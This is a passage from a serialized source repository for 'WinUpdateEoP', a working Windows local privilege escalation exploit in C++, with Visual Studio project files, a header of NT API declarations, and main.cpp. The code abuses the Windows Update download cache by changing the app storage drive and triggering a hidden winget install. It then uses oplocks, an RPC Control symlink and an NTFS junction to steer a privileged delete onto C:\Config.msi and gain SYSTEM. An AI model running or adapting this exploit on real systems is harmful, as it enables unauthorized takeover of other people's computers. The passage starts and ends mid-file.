std::endl;\r\n\tstd::cerr << \"\\tFolderOrFileDeleteToSystem.exe [/stage1only]\" << std::endl;\r\n\tstd::cerr << std::endl;\r\n\tstd::cerr << \"This exploit demonstrates how an arbitrary file or folder delete vuln as SYSTEM or admin\" << std::endl;\r\n\tstd::cerr << \"can be used to gain local privilege escalation to SYSTEM.\" << std::endl;\r\n\tstd::cerr << std::endl;\r\n\tstd::cerr << \"The exploit proceeds in two stages. Stage 1 performs the needed preparation before triggering the delete.\" << std::endl;\r\n\tstd::cerr << \"You will be prompted to trigger the delete at the appropriate time. At that point, you can terminate this\" << std::endl;\r\n\tstd::cerr << \"exploit and resume it after the delete if preferred. This is useful if, for example, the delete vuln\" << std::endl;\r\n\tstd::cerr << \"requires a system restart. Afterwards, run this exploit again. No special flags are needed. It will\" << std::endl;\r\n\tstd::cerr << \"automatically detect the system state and resume with stage 2.\" << std::endl;\r\n\tstd::cerr << std::endl;\r\n\tstd::cerr << \"Stage 2 of the exploit is performed after the arbitrary file/folder delete, and achieves SYSTEM LPE.\" << std::endl;\r\n\r\n}\r\n\r\n"
  },
  {
    "path": "WinUpdateEoP/WinUpdateEoP.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Version 17\r\nVisualStudioVersion = 17.13.35828.75 d17.13\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"WinUpdateEoP\", \"WinUpdateEoP.vcxproj\", \"{677448A4-0C19-42C4-94E3-D4C89F264F26}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|x64 = Debug|x64\r\n\t\tDebug|x86 = Debug|x86\r\n\t\tRelease|x64 = Release|x64\r\n\t\tRelease|x86 = Release|x86\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{677448A4-0C19-42C4-94E3-D4C89F264F26}.Debug|x64.ActiveCfg = Debug|x64\r\n\t\t{677448A4-0C19-42C4-94E3-D4C89F264F26}.Debug|x64.Build.0 = Debug|x64\r\n\t\t{677448A4-0C19-42C4-94E3-D4C89F264F26}.Debug|x86.ActiveCfg = Debug|Win32\r\n\t\t{677448A4-0C19-42C4-94E3-D4C89F264F26}.Debug|x86.Build.0 = Debug|Win32\r\n\t\t{677448A4-0C19-42C4-94E3-D4C89F264F26}.Release|x64.ActiveCfg = Release|x64\r\n\t\t{677448A4-0C19-42C4-94E3-D4C89F264F26}.Release|x64.Build.0 = Release|x64\r\n\t\t{677448A4-0C19-42C4-94E3-D4C89F264F26}.Release|x86.ActiveCfg = Release|Win32\r\n\t\t{677448A4-0C19-42C4-94E3-D4C89F264F26}.Release|x86.Build.0 = Release|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\n\tGlobalSection(ExtensibilityGlobals) = postSolution\r\n\t\tSolutionGuid = {92150D9D-E91E-469C-AA3E-81302F8D8D55}\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  },
  {
    "path": "WinUpdateEoP/WinUpdateEoP.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup Label=\"ProjectConfigurations\">\r\n    <ProjectConfiguration Include=\"Debug|Win32\">\r\n      <Configuration>Debug</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Release|Win32\">\r\n      <Configuration>Release</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Debug|x64\">\r\n      <Configuration>Debug</Configuration>\r\n      <Platform>x64</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Release|x64\">\r\n      <Configuration>Release</Configuration>\r\n      <Platform>x64</Platform>\r\n    </ProjectConfiguration>\r\n  </ItemGroup>\r\n  <PropertyGroup Label=\"Globals\">\r\n    <VCProjectVersion>17.0</VCProjectVersion>\r\n    <Keyword>Win32Proj</Keyword>\r\n    <ProjectGuid>{677448a4-0c19-42c4-94e3-d4c89f264f26}</ProjectGuid>\r\n    <RootNamespace>WinUpdateEoP</RootNamespace>\r\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>true</UseDebugLibraries>\r\n    <PlatformToolset>v143</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>false</UseDebugLibraries>\r\n    <PlatformToolset>v143</PlatformToolset>\r\n    <WholeProgramOptimization>true</WholeProgramOptimization>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>true</UseDebugLibraries>\r\n    <PlatformToolset>v143</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>false</UseDebugLibraries>\r\n    <PlatformToolset>v143</PlatformToolset>\r\n    <WholeProgramOptimization>true</WholeProgramOptimization>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\r\n  <ImportGroup Label=\"ExtensionSettings\">\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"Shared\">\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <PropertyGroup Label=\"UserMacros\" />\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <ClCompile>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <SDLCheck>true</SDLCheck>\r\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <ConformanceMode>true</ConformanceMode>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <ClCompile>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <FunctionLevelLinking>true</FunctionLevelLinking>\r\n      <IntrinsicFunctions>true</IntrinsicFunctions>\r\n      <SDLCheck>true</SDLCheck>\r\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <ConformanceMode>true</ConformanceMode>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\r\n      <OptimizeReferences>true</OptimizeReferences>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <ClCompile>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <SDLCheck>true</SDLCheck>\r\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <ConformanceMode>true</ConformanceMode>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <ClCompile>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <FunctionLevelLinking>true</FunctionLevelLinking>\r\n      <IntrinsicFunctions>true</IntrinsicFunctions>\r\n      <SDLCheck>true</SDLCheck>\r\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <ConformanceMode>true</ConformanceMode>\r\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\r\n      <OptimizeReferences>true</OptimizeReferences>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"FileOplock.cpp\" />\r\n    <ClCompile Include=\"FileOrFolderDelete.cpp\" />\r\n    <ClCompile Include=\"main.cpp\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ResourceCompile Include=\"resource.rc\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClInclude Include=\"def.h\" />\r\n    <ClInclude Include=\"FileOplock.h\" />\r\n    <ClInclude Include=\"resource.h\" />\r\n  </ItemGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\r\n  <ImportGroup Label=\"ExtensionTargets\">\r\n  </ImportGroup>\r\n</Project>"
  },
  {
    "path": "WinUpdateEoP/WinUpdateEoP.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup>\r\n    <Filter Include=\"Source Files\">\r\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\r\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Header Files\">\r\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\r\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Resource Files\">\r\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\r\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\r\n    </Filter>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"FileOrFolderDelete.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"main.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"FileOplock.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ResourceCompile Include=\"resource.rc\">\r\n      <Filter>Resource Files</Filter>\r\n    </ResourceCompile>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClInclude Include=\"resource.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"def.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"FileOplock.h\">\r\n      <Filter>Resource Files</Filter>\r\n    </ClInclude>\r\n  </ItemGroup>\r\n</Project>"
  },
  {
    "path": "WinUpdateEoP/WinUpdateEoP.vcxproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"Current\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <PropertyGroup />\r\n</Project>"
  },
  {
    "path": "WinUpdateEoP/def.h",
    "content": "#include <windows.h>\r\n#include <winternl.h>\r\n#include <iostream>\r\n#include <stdio.h>\r\n#include <Msi.h>\r\n#include <PathCch.h>\r\n#include <taskschd.h>\r\n#include <comdef.h>\r\n#include <sddl.h>\r\n#include <aclapi.h>\r\n#include \"FileOplock.h\"\r\n#include <shobjidl.h>\r\n#include <shobjidl_core.h>\r\n#include <shellapi.h>\r\n#include <wuapi.h>\r\n\r\n#pragma warning(disable:4996)\r\n#pragma comment(lib, \"PathCch.lib\")\r\n#pragma comment(lib,\"RpcRT4.lib\")\r\n#pragma comment(lib, \"Msi.lib\")\r\n#pragma comment(lib, \"taskschd.lib\")\r\nstruct __declspec(uuid(\"A6B716CB-028B-404D-B72C-50E153DD68DA\")) CLSID_MSEdge_Object;\r\nclass __declspec(uuid(\"79e0c401-b7bc-4de5-8104-71350f3a9b67\")) IGoogleUpdate : IUnknown {\r\npublic:\r\n\r\n\r\n    HRESULT CheckForUpdate(const WCHAR* guid, VOID* observer);\r\n    HRESULT Update(const WCHAR* guid, VOID* observer);\r\n\r\n};\r\nwchar_t dir[MAX_PATH] = { 0x0 };\r\nWCHAR rbsPath[256] = { 0x0 };\r\nwchar_t drivepath[MAX_PATH] = { 0x0 };\r\nwchar_t tmp_file[MAX_PATH] = { 0x0 };\r\nNTSTATUS retcode;\r\nHANDLE h = NULL;\r\nHANDLE hDir,hDir2,hDir3;\r\nHANDLE hFile,hFile2;\r\nwchar_t object[MAX_PATH] = L\"Global\\\\GLOBALROOT\\\\RPC Control\\\\1\";\r\nstd::wstring drive;\r\nBOOL deleted = FALSE;\r\nvoid IfDeletedRemoveJunction(LPWSTR);\r\nbool IfExists(LPCWSTR path);\r\nVOID Trigger();\r\nvoid cb0();\r\nBOOL CreateDeleteTask(BOOL);\r\nLPWSTR BuildPath(LPCWSTR);\r\nvoid load();\r\nvoid stage2();\r\nvoid stage1();\r\nHANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion);\r\nBOOL Move(HANDLE hFile, std::wstring drive, LPCWSTR path);\r\nBOOL CreateJunction(HANDLE hDir, LPCWSTR target);\r\nBOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target);\r\nBOOL DeleteJunction(HANDLE hDir);\r\nBOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target);\r\nVOID Watch();\r\ntypedef struct _REPARSE_DATA_BUFFER {\r\n    ULONG  ReparseTag;\r\n    USHORT ReparseDataLength;\r\n    USHORT Reserved;\r\n    union {\r\n        struct {\r\n            USHORT SubstituteNameOffset;\r\n            USHORT SubstituteNameLength;\r\n            USHORT PrintNameOffset;\r\n            USHORT PrintNameLength;\r\n            ULONG  Flags;\r\n            WCHAR  PathBuffer[1];\r\n        } SymbolicLinkReparseBuffer;\r\n        struct {\r\n            USHORT SubstituteNameOffset;\r\n            USHORT SubstituteNameLength;\r\n            USHORT PrintNameOffset;\r\n            USHORT PrintNameLength;\r\n            WCHAR  PathBuffer[1];\r\n        } MountPointReparseBuffer;\r\n        struct {\r\n            UCHAR DataBuffer[1];\r\n        } GenericReparseBuffer;\r\n    } DUMMYUNIONNAME;\r\n} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;\r\ntypedef struct _OBJECT_DIRECTORY_INFORMATION {\r\n    UNICODE_STRING Name;\r\n    UNICODE_STRING TypeName;\r\n} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;\r\n#define STATUS_MORE_ENTRIES 0x00000105\r\n#define STATUS_NO_MORE_ENTRIES 0x8000001A\r\n#define IO_REPARSE_TAG_MOUNT_POINT              (0xA0000003L)\r\n\r\ntypedef NTSYSAPI NTSTATUS(NTAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK   IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);\r\ntypedef NTSYSAPI VOID(NTAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);\r\ntypedef NTSYSAPI NTSTATUS(NTAPI* _NtOpenDirectoryObject)(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);\r\ntypedef NTSYSAPI NTSTATUS(NTAPI* _NtQueryDirectoryObject)(_In_      HANDLE  DirectoryHandle, _Out_opt_ PVOID   Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_  BOOLEAN RestartScan, _Inout_   PULONG  Context, _Out_opt_ PULONG  ReturnLength);\r\ntypedef NTSYSCALLAPI NTSTATUS(NTAPI* _NtSetInformationFile)(\r\n    HANDLE                 FileHandle,\r\n    PIO_STATUS_BLOCK       IoStatusBlock,\r\n    PVOID                  FileInformation,\r\n    ULONG                  Length,\r\n    ULONG FileInformationClass\r\n    );\r\ntypedef  DWORD(WINAPI* _SetStorageSettings)(DWORD, DWORD, DWORD, DWORD);\r\n_RtlInitUnicodeString pRtlInitUnicodeString;\r\n_NtCreateFile pNtCreateFile;\r\n_NtSetInformationFile pNtSetInformationFile;\r\n_NtQueryDirectoryObject pNtQueryDirectoryObject;\r\n_NtOpenDirectoryObject pNtOpenDirectoryObect;\r\n_SetStorageSettings pSetStorageSettings;"
  },
  {
    "path": "WinUpdateEoP/main.cpp",
    "content": "#include \"def.h\"\r\n\r\nint wmain(int argc, wchar_t** argv)\r\n{\r\n    load();\r\n    wchar_t target[] = L\"\\\\C:\\\\config.msi\";\r\n    if (argc < 2)\r\n    {\r\n        printf(\"[*] Usage: %ls <drive letter>\\n\", argv[0]);\r\n        printf(\"[*] Example: %ls D:\\n\", argv[0]);\r\n        return 1;\r\n    }\r\n\r\n    stage1();\r\n    DWORD ret = pSetStorageSettings(1, 0, 2, 16);\r\n    if (ret != 0)\r\n    {\r\n        ret = pSetStorageSettings(0, 1, 2, 16);\r\n        if (ret != 0) {\r\n            printf(\"[-] Failed to change location where new apps are saved. Error: %d\\n\", ret);\r\n            return -1;\r\n        }\r\n    }\r\n    printf(\"[*] Changed location where new apps are saved.\\n\");\r\n    \r\n    drive = std::wstring(argv[1]);\r\n    CreateDirectory((drive + L\"\\\\WUDownloadCache\").c_str(),NULL);\r\n    Watch();\r\n    FileOpLock* oplock;\r\n    printf(\"[+] Sleeping for 10 seconds.\\n\");\r\n    Sleep(10000);\r\n    if (IfExists((drive + L\"\\\\WUDownloadCache\").c_str()))\r\n    {\r\n        if (!RemoveDirectory((drive + L\"\\\\WUDownloadCache\").c_str()))\r\n       {\r\n            printf(\"[-] Failed to remove directory.\\n\");\r\n            return -1;\r\n      }\r\n    }\r\n    CreateDirectory((drive + L\"\\\\WUDownloadCache\").c_str(), NULL);\r\n    CreateDirectory((drive + L\"\\\\\" + drivepath).c_str(), NULL);\r\n\r\n\r\n    hDir2 = CreateFile((drive + drivepath).c_str(), DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL);\r\n    if (hDir2 == INVALID_HANDLE_VALUE)\r\n    {\r\n        printf(\"[-] Cannot open directory: %ls\\\\%ls\", drive.c_str(),drivepath);\r\n    }\r\n    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)IfDeletedRemoveJunction, target, 0, NULL);\r\n    oplock = FileOpLock::CreateLock(hDir2, cb0,false);\r\n    if (oplock != NULL)\r\n    {\r\n        Trigger();\r\n        oplock->WaitForLock(INFINITE);\r\n    }\r\n    while (deleted != true) { Sleep(1000); };\r\n    printf(\"[+] Exploit successful.\\n\");\r\n    stage2();\r\n    pSetStorageSettings(0, 0, 2, 16);\r\n}\r\nvoid cb0()\r\n{\r\n    printf(\"[+] Oplock!\\n\");\r\n    while (!Move(hDir2, drive.c_str(), NULL)) {}\r\n    hDir3 = CreateFile((drive + L\"WUDownloadCache\").c_str(), FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);\r\n    CreateJunction(hDir3, L\"\\\\RPC Control\");\r\n}\r\nvoid IfDeletedRemoveJunction(LPWSTR path)\r\n{\r\n    wchar_t* token = std::wcstok(path, L\":\");\r\n    token = std::wcstok(nullptr, L\":\");\r\n    wchar_t file[MAX_PATH] = { 0x0 };\r\n    PFILE_NOTIFY_INFORMATION fi = NULL;\r\n    HANDLE hh = CreateFile(L\"C:\\\\\", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);\r\n    do {\r\n\r\n        wchar_t buff[4096] = { 0 };\r\n        DWORD ret = 0;\r\n        ReadDirectoryChangesW(hh, buff, 4096, TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &ret, NULL, NULL);\r\n        fi = (PFILE_NOTIFY_INFORMATION)buff;\r\n        if ((fi->Action == FILE_ACTION_REMOVED))\r\n        {\r\n\r\n            DeleteJunction(hDir3);\r\n            deleted = TRUE;\r\n        }\r\n    } while (deleted == FALSE);\r\n}\r\nbool IfExists(LPCWSTR path)\r\n{\r\n    return GetFileAttributes(path) != INVALID_FILE_ATTRIBUTES;\r\n}\r\nVOID Watch()\r\n{\r\n    HANDLE hDir = CreateFile(drive.c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_OPEN_REPARSE_POINT, NULL);\r\n\r\n    PFILE_NOTIFY_INFORMATION fi = NULL;\r\n    BOOL done = FALSE;\r\n    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Trigger, NULL, 0, NULL);\r\n    do\r\n    {\r\n        wchar_t buff[4096] = { 0 };\r\n        DWORD ret = 0;\r\n        ReadDirectoryChangesW(hDir, buff, 4096, TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &ret, NULL, NULL);\r\n        fi = (PFILE_NOTIFY_INFORMATION)buff;\r\n        if ((fi->Action == FILE_ACTION_ADDED) && (wcswcs(fi->FileName, L\"WUDownloadCache\\\\\")))\r\n\r\n        {\r\n\r\n\r\n            swprintf(drivepath, L\"%s\", fi->FileName);\r\n            wchar_t* token = wcstok(fi->FileName, L\"\\\\\");\r\n            token = std::wcstok(nullptr, L\"\\\\\");\r\n            swprintf(object, L\"Global\\\\GLOBALROOT\\\\RPC Control\\\\%s\", token);\r\n\r\n            DosDeviceSymLink(object,L\"\\\\??\\\\C:\\\\Config.msi\");\r\n\r\n            done = true;\r\n        }\r\n    } while (done != TRUE);\r\n}\r\nvoid Trigger()\r\n{\r\n    SHELLEXECUTEINFO sh;\r\n    ZeroMemory(&sh, sizeof(sh));\r\n    sh.cbSize = sizeof(sh);\r\n    sh.lpVerb = L\"open\";\r\n    sh.nShow = SW_HIDE;\r\n    sh.lpFile = L\"winget\";\r\n    sh.lpParameters = L\"install firefox -s msstore  --disable-interactivity --accept-package-agreements --accept-source-agreements\";\r\n    ShellExecuteEx(&sh);\r\n}\r\nBOOL CreateJunction(HANDLE hDir, LPCWSTR target) {\r\n    HANDLE hJunction;\r\n    DWORD cb;\r\n    wchar_t printname[] = L\"\";\r\n    if (hDir == INVALID_HANDLE_VALUE) {\r\n        printf(\"[!] HANDLE invalid!\\n\");\r\n        return FALSE;\r\n    }\r\n    SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR);\r\n    SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR);\r\n    SIZE_T PathLen = TargetLen + PrintnameLen + 12;\r\n    SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer));\r\n    PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize);\r\n    Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;\r\n    Data->ReparseDataLength = PathLen;\r\n    Data->Reserved = 0;\r\n    Data->MountPointReparseBuffer.SubstituteNameOffset = 0;\r\n    Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen;\r\n    memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2);\r\n    Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2);\r\n    Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen;\r\n    memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2);\r\n    WCHAR dir[MAX_PATH] = { 0x0 };\r\n    if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0)\r\n    {\r\n\r\n        GetFinalPathNameByHandle(hDir, dir, MAX_PATH, 0);\r\n        printf(\"[+] Junction %ls -> %ls created!\\n\", dir, target);\r\n        free(Data);\r\n        return TRUE;\r\n\r\n    }\r\n    else\r\n    {\r\n\r\n        printf(\"[!] Error: %d. Exiting\\n\", GetLastError());\r\n        free(Data);\r\n        return FALSE;\r\n    }\r\n}\r\nBOOL DeleteJunction(HANDLE handle) {\r\n    REPARSE_GUID_DATA_BUFFER buffer = { 0 };\r\n    BOOL ret;\r\n    buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;\r\n    DWORD cb = 0;\r\n    IO_STATUS_BLOCK io;\r\n    if (handle == INVALID_HANDLE_VALUE) {\r\n        printf(\"[!] HANDLE invalid!\\n\");\r\n        return FALSE;\r\n    }\r\n    WCHAR dir[MAX_PATH] = { 0x0 };\r\n    if (DeviceIoControl(handle, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL)) {\r\n        GetFinalPathNameByHandle(handle, dir, MAX_PATH, 0);\r\n        printf(\"[+] Junction %ls deleted!\\n\", dir);\r\n        return TRUE;\r\n    }\r\n    else\r\n    {\r\n        printf(\"[!] Error: %d.\\n\", GetLastError());\r\n        return FALSE;\r\n    }\r\n}\r\n\r\nBOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {\r\n    if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) {\r\n        printf(\"[+] Symlink %ls -> %ls created!\\n\", object, target);\r\n        return TRUE;\r\n\r\n    }\r\n    else\r\n    {\r\n        printf(\"error :%d\\n\", GetLastError());\r\n        return FALSE;\r\n\r\n    }\r\n}\r\n\r\nBOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {\r\n    if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) {\r\n        printf(\"[+] Symlink %ls -> %ls deleted!\\n\", object, target);\r\n        return TRUE;\r\n\r\n    }\r\n    else\r\n    {\r\n        printf(\"error :%d\\n\", GetLastError());\r\n        return FALSE;\r\n\r\n\r\n    }\r\n}\r\nHANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) {\r\n    UNICODE_STRING ufile;\r\n    HANDLE hDir;\r\n    pRtlInitUnicodeString(&ufile, file);\r\n    OBJECT_ATTRIBUTES oa = { 0 };\r\n    IO_STATUS_BLOCK io = { 0 };\r\n    InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL);\r\n\r\n    retcode = pNtCreateFile(&hDir, access, &oa, &io, 